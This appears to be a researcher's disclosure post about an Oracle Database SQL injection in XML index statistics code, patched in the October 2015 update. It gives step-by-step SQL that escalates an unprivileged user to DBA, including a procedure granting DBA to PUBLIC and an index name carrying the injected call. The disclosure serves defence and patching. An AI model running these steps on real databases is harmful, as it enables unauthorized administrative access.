In the October 2015 'Critical Patch Update' Oracle fixed a flaw in XML index support code: namely SQL injection which allows privilege escalation to DBA by unprivileged users. I reported this issue to Oracle back in April 2015 and 6 month later the fix is here. What is so special about it? They have addressed very similar issues already reported by other security researchers but missed this specific vulnerability.
Here is how it works: a user needs to have certain privileges first. Namely
CREATE TABLE, and
CREATE PUBLIC SYNONYM. From that it is easy to elevate privileges on an unpatched system via the following set of actions, assuming all commands are executed as mentioned user against Oracle Database 18.104.22.168 without CPU October 2015:
Create a stored procedure that will essentially grant DBA to public.
CREATE PROCEDURE F ( PARTNAME VARCHAR2, CASCADE_PARTS BOOLEAN ) AUTHID CURRENT_USER IS BEGIN EXECUTE IMMEDIATE ('GRANT DBA TO PUBLIC'); END; /
Create a public synonym for the just created procedure, so the vulnerable system-provided code can see our procedure even when it is not in the system schema. Public synonym allows to make evil procedure visible to all:
CREATE PUBLIC SYNONYM POC FOR F;
Create a table with a column of
CREATE TABLE T34(id int not null primary key, val XMLType);
This is essential since the vulnerability lies in internal SQL executed by XMLType column statistics maintenance code.
Create an index on the xml column having very special name – that name will be used later on for SQLi:
CREATE INDEX "');POC('" ON T34(val) INDEXTYPE IS XDB.XMLIndex;
Finally trigger SQLi by invoking
DECLARE TAB_NAME varchar2(100);
SELECT OBJECT_NAME INTO TAB_NAME FROM ALL_OBJECTS WHERE OBJECT_NAME LIKE 'SYS%POC%PATH_TABLE';
STMT := 'CREATE TABLE ' || SUBSTR(TAB_NAME, 1, INSTR(TAB_NAME, '_')) || '(id int)';
EXECUTE IMMEDIATE STMT;
We do create another table (named like
SYS87356_) to make sure vulnerable code is executed – it is an additional prerequisite for the exploit.
At this point we should reconnect to the database and examine effective roles:
SELECT * FROM SESSION_ROLES;
19 rows selected.
Oracle has released a fix for this high severity issue (CVSS 6.5) – make sure it is installed ASAP. Trustwave database security products have checks released that verify that fixes are deployed on customer databases for this and other vulnerabilities fixed in Oracle Critical Patch Update October 2015.
For more information:
Oracle October 2015 Critical Patch Update: http://www.oracle.com/technetwork/topics/security/cpuoct2015-2367953.html
Trustwave SpiderLabs Advisory: https://www.trustwave.com/Resources/Security-Advisories/Advisories/TWSL2015-019/?fid=7190